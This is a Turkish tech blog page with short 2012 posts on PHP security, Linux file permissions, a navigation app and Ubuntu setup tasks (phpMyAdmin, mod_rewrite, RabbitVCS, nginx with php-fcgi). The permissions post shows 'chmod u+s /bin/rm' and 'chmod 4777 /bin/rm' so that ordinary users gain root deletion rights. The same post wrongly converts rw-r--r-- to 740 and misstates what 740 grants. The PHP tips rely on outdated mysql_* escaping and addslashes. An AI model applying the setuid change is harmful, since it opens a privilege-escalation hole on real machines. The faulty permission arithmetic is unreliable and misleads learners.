}     Kredi kartı bilgisi gibi hassas veriler SSL ile aktarılmalıdır.   Kullanıcıya kredi kartı bilgilerini göstereceğiniz zaman sadece son 4 hanenin gösterilmesi gibi yaklaşımlar benimsenebilir.   Session değişkeni çok hassas bilgiler içerebileceğinden sunucu tarafında tutulmalıdır.   Kullanıcı tarafından gönderilen verilerin düzeltilmeye çalışılmasının güvenlik açıklarına neden olabileceğini dikkate almak gerekiyor.   $clean şeklinde bir değişken belirleyip güvenli olduğunu doğruladığımız değişkenleri bu array içerisine atabiliriz. Daha sonra kodun istenilen yerinde $clean dizisi içerisindeki değişkenleri güvenle kullanabiliriz.   Kullanıcıya gösterilecek verilerin htmlentities( ) fonksiyonundan geçirilmesi gerekir. Bu fonksiyona ek parametrelerler vermemiz gerekir. Bunlar ENT_QUOTES ve UTF-8 parametreleridir. $html isimli arrayimizde de filtrelenmiş ve escape edilmiş verileri tutarız.     $html = array( );

$html['username'] = htmlentities($clean['username'],ENT_QUOTES, 'UTF-8');

echo "<p>Welcome back, {$html['username']}.</p>";     Veritabanı olarak mysql kullanıyorsanız query içerisinde kullanılacak verileri mysql_real_escape_string( ) fonsiyonundan geçirmeniz önemlidir.   Eğer MySql kullanmıyorsanız son çare olarak addslashes( ) kullanmalısınız.   $mysql = array( );

$mysql['username'] =

mysql_real_escape_string($clean['username']);

$sql = "SELECT *

FROM profile

WHERE username = '{$mysql['username']}'";

$result = mysql_query($sql);   KAYNAK: Essential PHP Security O'Rielly Devamı için : Php Guvenlik - 1

Fatal error: Attempt to unset static property hatasi

Php class'larında tanımlanan static özellikler, o classtan kaç kere kullanılacaksa kullanılsın, 1 tane bulunurlar. Yani 10 tane deneme sınıfı üretsek bile, public static $test ten sadece 1 tane olacak. Bu noktada, bu class load olurken, bu property ram'deki yerini ayırdığı için, unset etmek konusunda ise, problem yaşanmaktadır. Mantığa göre bu sınıfa ait bir static özellik herhangi bir yerde unset edilseydi eğer, farklı bir yerden kullanıldığında not set hatası verecekti. Yani olmasını teyid ettiği bir şeyi bulamayacaktı. Bu nedendendir ki aşağıdaki kod,
unset(self::$test);
Fatal error: Attempt to unset static property hatasını vermektedir. (ölümcül hata : static özelliği unset etmeye yönelik girişim). Bu hata aslında sizin bu işlemi yanlış yaptığınız yönündedir. Tavsiye : İlla böyle bir şeye ihtiyacınız var ise, değişkenin tipine göre boş string, Null veya false atayınız. Devamı için : Fatal error: Attempt to unset static property hatasi

21 Ekim 2012 Pazar

linux dosya ve dizin izinleri

Dizin ve dosyalara erişim haklarının belirlenmesi için izinler kullanılmaktadır. Linux sistemlerde bu izinler 3 farklı grup olarak verilmektedir. Bunlardan ilki, dosyanın sahibinin izinleri, ikincisi, dosyanın grubunun izinleri, üçüncüsü, diğer kullanıcıların izinleri. Dosyaların ve dizinlerin sahip oldukları izinleri görmek için, ll gibi bir komut kullanabiliriz. Herhangi bir dizindeyken, ilk sütunda çıkan değerleri inceleyelim.
-rw-rw-r-- 1 khantunckale khantunckale 792438 Oct 19 20:52 warning.jpg
drwxrwxr-x 2 khantunckale khantunckale 4096 Oct 18 15:14 pictures/
-rw------- 1 khantunckale khantunckale 641 Oct 18 01:59 algoritma1.java~
-rw-r--r-- 1 root root 1324 Oct 21 01:17 mysql.txt
-rw-rw-r-- 1 khantunckale khantunckale 0 Sep 30 21:42 mahmut.htm
İlk sütunları inceledikten sonra, 4 farklı kısımdan oluştuğunu söyleyebiliriz. İlk kısım, dosyanın tipini belirten kısımdır. Buna göre, dosyanın sadece bir dosya mı, yoksa dizin mi, veya link mi, ayırt edebiliriz. Normal dosyalarda, ilk kısımda, - işareti vardır. Dizinler için d harfi görünmektedir. Başka bir dosyayı işaret eden linkler (başka bir deyişle kısayol) için l harfi gösterilir. İkinci kısımda, dosyanın sahibinin hakları, üçüncü kısımda dosyanın grubunun hakları, üçüncü kısımda ise diğer kullanıcıların hakları vardır. Erişim hakları, Linux sistemlerde güvenliğin temelini oluşturur. Bu izinler her dosyaya ayrı ayrı verilebildiği için sistem yönetimi çok esnektir.
Dosya tipiSahibin yetkileriGrubun yetkileriDiğer kullanıcılar
drwxrwxrwx
-rwx------
Şimdi, bu izinlerin hangi anlamlara geldiğini inceleyelim. r --> Okuma izni (read access): Dosyanın okuma izni var demek, dosyanın içeriği görülebilir demek. Dizinin okuma izni olduğunda ise, içerdiği dosyaların listesi görülebilir. w --> Yazma izni (write access): Dosyanın yazma izni var demek, dosyanın içeriğini değiştirebilirsiniz yada dosyayı silebilirsiniz demek. Dizine yazma izni verildiğinde ise dizin altındaki dosyalar yazılabilir veya silinebilir. x --> Çalıştırma izni (execute access): Dosyayı çalıştırma hakkı verir. Dizinler için çalıştırma hakkı, o dizine geçip geçememek anlamına gelmektedir. Yukarıdaki gibi üçlüler birbiriyle aynı kalıptadır. Her üçlünün ilk pozisyonunda r harfi vardır, bu ilgili kullanıcının dosyayı okuma yetkisi olduğunu gösterir. Bu pozisyonda bir eksi işareti (-) varsa, kullanıcının okuma yetsiki olmadığını gösterir. Dosya izinlerine bir kaç örnek verelim;
rwxrwxrwx : Dosyayı herkes okuyabilir, herkes bu dosyaya kayıt yapabilir, dosyanın adını değiştirebilir, dosyayı silebilir. Eğer bu bir program dosyası ise, herkes çalıştırabilir.
rwxr-xr-x : Herkes okuyabilir ve program dosyası ise herkes çalıştırabilir. Ama sadece dosyanın sahibi bu dosyada değişiklik yapabilir.
rwx------ : Bu dosyada sadece sahibi tüm işlemleri yapabilir, dosya diğer kullanıcılara kapalıdır.
rw-r--r-- : Dosya program dosyası değil, çünkü kimsenin çalıştırma yetkisi yok. Sahibi okuyup yazabilir ancak diğer kullanıcılar sadece okuyabilir.
rwx--x--x : Sahibi tüm işlemleri yapar, diğer kullanıcılar sadece çalıştırabilirler.

Dosya izinleri nasıl değiştirilebilir?

Dosya ve dizin izinleri sadece sahipleri ve root kullanıcı tarafından tarafından değiştirilebilirler. Bunun için chmod komutu kullanılır . chmod komutu iki şekilde çalıştırılabilir, biri yeni iznin sayısal değerle verilmesi ile diğeri yapılacak değişikliğin sembolik olarak verilmesi ile. Örnek olarak, rw-r--r-- izinini inceleyelim. Verilen haklar için 1, verilmeyen haklar için 0 yazılarak, iznin 2 tabanındaki görüntüsünü elde edelim --> 110100100 Ardından bunu 10'luk tabana çevirelim --> 740 Dosyanın izinlerini, bunun gibi, yani kullanıcısına tüm hakları vermek ve diğer kullanıcıların hepsine sadece okuma iznini verme işlemini, şu şekilde gerçekleriz.
chmod 740 dosya_ismi
İzinleri ayarlarken chmod komutuna sembolik parametreler vermek de aşağıdaki şekilde yapılır. Kullanıcı gruplarının sembolleri : Dosya sahibi (user) : u , dosyanın grubu (group) : g, diğer kullanıcılar (others) : o İzinlerin sembollerinden yukarıda bahsetmiştik : Okuma (read) : r, yazma (write) : w, çalıştırma (execute) : x Dosyaya izinleri vermek için +, izinleri çıkartmak için - işareti kullanılır. Örneğin herkese okuma izini vermek için chmod +r dosya_ismi komutunu kullanabiliriz. Aynı şekilde dosyanın sahibine tüm hakları vermek için chmod u+rwx dosya_ismi komutunu kullanbiliriz.

Dosyanın sahibi nasıl değiştirilebilir?

Bir dosyanın sahibini sadece sistemdeki root kullanıcı değiştirilebilir. Dosya sahibinin değiştirilmesi için chown komutu kullanılır. O da şu şekildedir;
chown zubizaretta dosya_ismi
Bu komut ile dosyanın sahibi zubizaretta olmuştur. Kullanıcı grubunu değiştirmek için de chgrp komutu kullanılır. Örneğin chgrp www dosya_ismi ile, dosyanın kullanıcı grubunu www yapabiliriz. Ayrıca chown komutu, dosyanın kullanıcısını değiştirebildiği gibi kullanucu grubunu da değiştirebilir. O da şu şekilde olur;
chown zubizaretta.www dosya_ismi

t ve s bitleri nedir?

Linux sistemlerde yetkilerin 3 bit uzunluğunda 3 bölümden nasıl oluştuğunu yukarıda kabaca inceledik. Ama aslında izinler için 3 bit uzunluğunda bir bölüm daha vardır. Yani biz, chmod 644 kullandığımızda aslında chmod 0644 kullanmış oluruz. Şimdi biraz bunun hakkında konuşalım. Normalde, (t biti dizinlere yerleştirilmeden) dosyaların silinebilmesi için, dizinin tuttuğu dosyalar, silen kişi tarafından okunabilir olmalı. Herkesin dosya koyabileceği bir dizinimiz varsa, burada herkes herkesin dosyasını silebilir anlamına gelmektedir. t biti bu kuralı değiştirir. t biti kullandığımızda, yalnızca dosya sahibi dosyaları silebilir. t bitini chmod 1777 şeklinde yada chmod a+tw şeklinde kullanbiliriz. Örnek vermek gerekirse, iki kullanıcının olduğu bir sistemde t biti kullanmadığımızda, bir kullanıcı kendine ait olmayan dosyayı silebiliyorken, t biti kullandığımızda bu işlemi gerçekleştiremez. Böylece t bitinin işaretli olduğu bir dizinde herkes kendi oluşturduğu dosya ve dizinleri silebilir. s biti genellikle çalıştırılabilir dosyalara uygulanır. Linux sistemlerde çalıştırılabilir bir dosyanın iki adet kullanıcı id'si mevcut olur. Bunlardan biri uygulamanın dosya sahibi, diğeri de uygulamayı çalıştıracak olan kullanıcıdır. s biti kullanıldığı zaman, uygulama, oturum açmış kullanıcı hakları ile değil uygulama dosyasının sahibinin hakları ile çalışır. Örneğin rm komutunu ele alalım. Rm komutu ile root kullanıcı tüm dizinleri ve dosyaları silmekte yetkilidir. Ancak diğer kullanıcılar sadece kendi home dizinlerinde bu komutu kullanabilirler. Root kullanıcının ana dizinde oluşturduğu bir dizini, normal kullanıcı silmeye çalıştığı zaman Permission denied hatası alacaktır. Ancak, chmod u+s /bin/rm (veya chmod 4777 /bin/rm ) komutunu çalıştırdığımız zaman, normal kullanıcı da root kullanıcı gibi silme hakkına sahip olur.   Devamı için : linux dosya ve dizin izinleri

Android Navigasyon

Merhaba, Son zamanlarda navigasyon cihazlarının populer olduğunu hepimiz biliyoruz. Özellikle İstanbul gibi büyük ve trafiği karmaşık şehirlerde gideceğiniz adresi bulmakta güçlük çekmeniz muhtemel bir durum. En kısa yoldan veya paralı yollar, feribot gibi bir çok seçeneği seçerek istediğimiz şekilde sürüş gerçekleştirebiliyoruz.   Tabi işin ticari boyutu ortaya çıkınca navigasyon pazarından pay elde etmek üzere birçok firma navigasyon üretmeye başladı. Navigasyonla ilgilisi olmayan birçok özellikler ekleyerek müşterileri cezbetmeye çalışıyorlar. Ancak şuda bir gerçek ki her navigasyon cihazı aynı kaliteyi sunmuyor. Bir navigasyon cihazı alırken nelere dikkat etmeli?
  1. Kapı numarasına kadar girebileceğimiz ayrıntılı bir Türkiye haritası
  2. Yeniden hesaplama süresinin kısa sürede tepki vermesi
  3. Sesli yönlendirmesinin net ve anlaşılır olması
  4. GPS bağlantı hızının yüksek olması
  5. Kavşak veya yol ayrılmarında doğru bir biçimde yönlendirme yapabilmesi
  6. Harita güncellemesi
Benim aklıma gelenler bunlar. Bunlara dikkat etmenizi öneririm. Bu bağlamda öne çıkan en iyi navigasyon hem Türkiye hem de avrupa için "Tomtom". Ancak piyasadaki tüm navigasyon cihazlarını cebinde sallayacak olan bu navigasyon firması bu etkenden faydalanarak fiyatlarını biraz yüksek tutuyor. Fiyatları yüksek derken cihazları değil harita güncellemeleri payalı :) Bu adresten de görebileceğiniz gibi 1 yıllık harita güncellemesi 185 TL. Hakkını verdiğinide özellikle belirtmek isterim. Yine bir diğer büyük pazar olan akıllı telefonlarda navigasyon konusunda çözümler getiriyor. Bir navigasyon cihazı almak yerine TomTom'un android uygulamasını almanızı kesinlikle tavsiye ediyorum. 2 gündür kullanan birisi olarak harika sonuçlar verdiğini belirtmek istedim. Normal cihazından hiçbir farkı yok. Harika bir uygulama. https://play.google.com/store/apps/details?id=com.tomtom.turkey&feature=more_from_developer Yukarıda google play de ki sayfasının linkidir. Türkiye haritasının ücreti 45.57 $ Navigasyon cihazı almak isteyipte akıllı telefonu olanlar için şiddetle tavsiye ettiğim bu uygulamayı tanıtmak istedim. Detaylarını ve videosunu Google Play'de ki sayfadan da öğrenebilirsiniz.   Devamı için : Android Navigasyon

18 Ekim 2012 Perşembe

ubuntu 12.10 yayinlandi! (nasil upgrade ederim?)

Ubuntu 12.10 çıktı. Resmi internet sitesinden kolayca indirip deneyebilirsiniz. Yukarıdaki resim de, resmi internet sitesinden alınmıştır, Avoid the pain of Windows 8. :D 12.04 (Precise Pangolin) kullananlar için 12.10'a (Quantal Quetzal) nasıl upgrade edileceğini kısaca anlatmak istiyorum. İlk olarak Update Manager'ı açıyoruz. Sol alt kısımda yer alan Settings...'e tıklayarak, en altta yer alan Notify me of a new Ubuntu version seçeneğini For any new versiyon olarak düzenliyoruz. Oradan çıkış yaptıktan sonra, Update Manager penceresinin üst kısmında, 12.10'a upgrade etmeniz için bir tuş beliriyor. İyi kullanımlar. Devamı için : ubuntu 12.10 yayinlandi! (nasil upgrade ederim?)

17 Ekim 2012 Çarşamba

Ubuntu Masaüstüne Kısayol Oluşturmak

Merhaba, Ubuntu yeni sürümlerinde kullanılan Unity arayüzü ile masaüstüne kısayol oluşturmak biraz sancılı hale geldi. Yine bardağın dolu tarafından bakmak gerekirse klavye kullanımına yönlendirdiği için iyi bir iş yaptırmışta oluyor diyebiliriz. Yine de hiçbirşey imkansız değil. Kısayol oluşturma işlemi için Gnom'un bir paketine ihtiyaç duyuyoruz. Bu paket gnom-panel. Kurulumunu aşağıda belirtiyorum :
sudo apt-get install --no-install-recommends gnome-panel
Hemencecik kurduk. Masaüstüne yeni bir kısayol oluşturmak içinde yine aşağıda belirteceğim komutu yazmanız gerekecek :
gnome-desktop-item-edit ~/Desktop/ --create-new
Bu komutu çalıştırdığınızda bir pencere açılacak. Bu pencereye kısayolunuzun ismini, kısayol program ise program yolunu, klasör ise pathini dosya ise yine dosya tam pathini vermeniz gerekiyor. Title ve icon gibi şeyleride seçtikten sonra okey diyoruz ve masaüstüne kısayolumuz geliyor. İşlem bu kadardır. Umarım işinize yarar. Saygılar sevgiler.   Devamı için : Ubuntu Masaüstüne Kısayol Oluşturmak

Ubuntu phpMyAdmin Kurulumu

Merhaba, Ubuntu platformu üzerinde phpMyAdmin kurulumunu nasıl yapacağınız konusunda bilgilerimi paylaşacağım. Konsoldan mysql komutları çalıştırabileceğiniz gibi phpMyAdmin size ciddi bir kullanım kolaylığı sağlayacak olan bir projedir.
sudo apt-get install phpmyadmin
Yukarıdaki komutu çalıştırarak phpmyadmin kurulumu yapmış oluyoruz. Ancak henüz ayarlarımız bitmedi.
sudo nano /etc/apache2/apache2.conf
Komutunu çalıştırarak apache web sunucumuzun ayarlarının bulunduğu dosyayı düzenleme moduna geçiyoruz. En alt satıra inerek aşağıdaki ayarları ekliyoruz.
Include /etc/phpmyadmin/apache.conf
Son olarakta apache web sunucumuzu yeniden başlatıyoruz.
sudo /etc/init.d/apache2 restart
http://localhost/phpmyadmin diyerek phpMyAdmin'e erişebilirsiniz. Sizden giriş için mysql kullanıcı adı (root) ve şifresini isteyecektir. Eğer şifrenizibelirlemediyseniz veya unuttuysanız bu yazıyı okumanızı tavsiye ederim. İşlem bu kadardır. Afiyet olsun. Devamı için : Ubuntu phpMyAdmin Kurulumu

Ubuntu Rewrite Modulü Kurulumu (Etkinleştirilmesi)

Merhaba, Ubuntu platformunda rewrite kurulumunu(etkinleştirilmesi) anlatacağım. İşinize yarayacaktır diye düşünüyorum. (apache kurulu varsayılmıştır) Ne işe yarar bu modül? Apache web sunucusunda URL yi yeniden yazma ve düzenleme iznini verir. Tam olarak ne işe yaradığını öğrenmek için arşivimizdeki bu yazıyı okumanızı tavsiye ediyorum.
sudo a2enmod rewrite
Yukarıdaki komutu çalıştırarak modülü etkinleştiriyoruz. Daha sonra ilgili projenizin vhost dosyasında birkaç düzenleme yapmamız gerekecek.
sudo nano /etc/apache2/site-available/default
Açılan vhost dosyasında aşağıdaki değişiklikleri yapmanız gerekiyor. İlk açtığınızdaki durumunu ve yanına okla yapmanız gereken düzenlemeyi belirtiyorum. AllowOverride None -> AllowOverride All Görmüş olduğunuz tüm "AllowOverride None" ları "AllowOverride All" a çeviriyoruz ve kaydedip çıkıyoruz. Son olarak apache'yi yeniden başlatacağız.
sudo /etc/init.d/apache2 restart
Modül artık aktifleşti. Projenizde kullanabilirsiniz, hayırlı olsun. Devamı için : Ubuntu Rewrite Modulü Kurulumu (Etkinleştirilmesi)

16 Ekim 2012 Salı

ubuntu RabbitVCS kurulumu - TortoiseSVN alternatifi (ubuntu 12.04)

Projelerinizde versiyon kontrol sistemleri kullanıyorsanız, ve linux kullanıyorsanız, hoşgeldiniz. Eğer versiyon kontrol sistemleri ile ilgili pek bilgi sahibi değilseniz, buradan başlayabilirsiniz. Daha sonra bunların en çok kullanılanlarından GIT ve SVN arasındaki karşılaştırma için buraya göz atabilirsiniz. Ücretsiz private SVN (2 kişiye kadar) için buraya, aynı şekilde ücretsiz private GIT (5 kişiye kadar) için buraya göz atmanız faydalı olabilir. Versiyon kontrol sistemlerini konsoldan kullanmak için buralardaki yazılarımıza da göz atabilirsiniz -->  [SVN] - [GIT] Şimdi gelelim esas konumuza. Kurulumunu gerçekleştireceğimiz program, RabbitVCS, linux ortamımızda versiyon kontrol sistemlerini basitçe kullanmamızı sağlayan bir program. Kurulumdan sonra, aynı TortoiseSVN gibi kullanacağız. Arayüz neredeyse aynı :) RabbitVCS sadece SVN için değil, GIT için de kullanılabiliyormuş, ikisi bir arada! Ancak ben şu an sadece SVN ile kullanıyorum, GIT ile kullandıktan sonra, karşılaştığım şeyleri ayrı bir yazıda anlatacağım. RabbitVCS'nin internet sitesine buradan erişebilirsiniz; http://rabbitvcs.org/ İlk olarak RabbitVCS ppa ekliyoruz;
sudo add-apt-repository ppa:rabbitvcs/ppa
Ardından da install ediyoruz;
sudo apt-get install rabbitvcs-core rabbitvcs-nautilus3 rabbitvcs-cli
Ayrıca eğer istiyorsak gedit extension da ekleyebiliriz;
sudo apt-get install rabbitvcs-gedit
  Bu işlemlerden sonra bilgisayarımızı yeniden başlattığımızda, versiyon kontrol sistemini rahatça kullanabiliriz. Yapmanız gereken sadece sağ tık!   Devamı için : ubuntu RabbitVCS kurulumu - TortoiseSVN alternatifi (ubuntu 12.04)

Ubuntu nginx uzerine php fastcgi kurulumu (php-fcgi)

Daha önceden bu yazımızda nginx kurulumunu anlatmıştık. (sadece kurmak, ayarlamak değil.) Şimdi ise, nginx üzerine php fastcgi kurma işlemini yapalım. Aşağıdaki komut ile sistemimize gerekli paketleri kuralım.
apt-get install php5-cli php5-cgi spawn-fcgi psmisc
Artık sistemimizde php fcgi ile ilgili paketler yüklendi. Ancak bunu dürtecek bir mekanizmamız henüz yok. Bu yüzden nginx ayarlarında henüz bunu çağıramıyoruz. Şimdi bunu dürtebilir hale getirelim. Aşağıdaki içerikler ile /usr/bin/php-fcgi adında bir dosya üretelim. Bu dosyaya göre php 9000 nolu portta çalışacak, ve 127.0.0.1 (localhost) için hizmet verecektir. Bu hizmet www-data adlı kullanıcı ve www-data adlı grup ile ilgili oluşacaktır. /usr/bin/php-fcgi dosyası
#!/bin/bash    FASTCGI_USER=www-data  FASTCGI_GROUP=www-data  ADDRESS=127.0.0.1  PORT=9000  PIDFILE=/var/run/php-fcgi/php-fcgi.pid  CHILDREN=6  PHP5=/usr/bin/php5-cgi    /usr/bin/spawn-fcgi -a $ADDRESS -p $PORT -P $PIDFILE -C $CHILDREN -u $FASTCGI_USER -g $FASTCGI_GROUP -f $PHP5
Chmod vererek de çalıştırabilir hale getirelim. Bunun için de aşağıdaki kodu çalıştıralım :
chmod +x /usr/bin/php-fcgi
Her şey yolunda gidiyor gibi gözüküyor. Ancak bu bir hizmet ve başlatma durdurma gibi özellikleri olması gerekiyor. yani özetle, /etc/init.d/ içerisine bir şeyler yapmamız gerekiyor.   /etc/init.d/php-fcgi adlı bir dosya üretiniz. /etc/init.d/php-fcgi dosyası : 
#!/bin/bash    PHP_SCRIPT=/usr/bin/php-fcgi  FASTCGI_USER=www-data  FASTCGI_GROUP=www-data  PID_DIR=/var/run/php-fcgi  PID_FILE=/var/run/php-fcgi/php-fcgi.pid  RET_VAL=0    case "$1" in      start)        if [[ ! -d $PID_DIR ]]        then          mkdir $PID_DIR          chown $FASTCGI_USER:$FASTCGI_GROUP $PID_DIR          chmod 0770 $PID_DIR        fi        if [[ -r $PID_FILE ]]        then          echo "php-fcgi already running with PID `cat $PID_FILE`"          RET_VAL=1        else          $PHP_SCRIPT          RET_VAL=$?        fi    ;;      stop)        if [[ -r $PID_FILE ]]        then          kill `cat $PID_FILE`          rm $PID_FILE          RET_VAL=$?        else          echo "Could not find PID file $PID_FILE"          RET_VAL=1        fi    ;;      restart)        if [[ -r $PID_FILE ]]        then          kill `cat $PID_FILE`          rm $PID_FILE          RET_VAL=$?        else          echo "Could not find PID file $PID_FILE"        fi        $PHP_SCRIPT        RET_VAL=$?    ;;      status)        if [[ -r $PID_FILE ]]        then          echo "php-fcgi running with PID `cat $PID_FILE`"          RET_VAL=$?        else          echo "Could not find PID file $PID_FILE, php-fcgi does not appear to be running"        fi    ;;      *)        echo "Usage: php-fcgi {start|stop|restart|status}"        RET_VAL=1    ;;  esac  exit $RET_VAL
Neredeyse geldik. Aşağıdaki komutlarla da php-fcgi yı başlatabilirsiniz.
chmod +x /etc/init.d/php-fcgi  update-rc.d php-fcgi defaults  /etc/init.d/php-fcgi start
Tabi bu noktada nginx imizi de artık ayarlamamız gerekiyor. /etc/nginx/sites-available/www.deneme.com dosyası oluşturalım. 
server {      server_name www.deneme.com deneme.com;      access_log /srv/www/www.deneme.com/logs/access.log;      error_log /srv/www/www.deneme.com/logs/error.log;      root /srv/www/www.deneme.com/public_html;        location / {          index  index.html index.htm;      }        location ~ \.php$ {          include /etc/nginx/fastcgi_params;          fastcgi_pass 127.0.0.1:9000;          fastcgi_index index.php;          fastcgi_param SCRIPT_FILENAME /srv/www/www.deneme.com/public_html$fastcgi_script_name;      }  }
Artık /srv/www/www.deneme.com/public_html/index.php dosyamızı ve içerisine phpinfo(); komutunu yazıp çalıştırabilir hale geldik. hemen bir nginx i başlatalım, veya çalışıyorsa yeniden başlatalım.  
service nginx restart
Devamı için : Ubuntu nginx uzerine php fastcgi kurulumu (php-fcgi)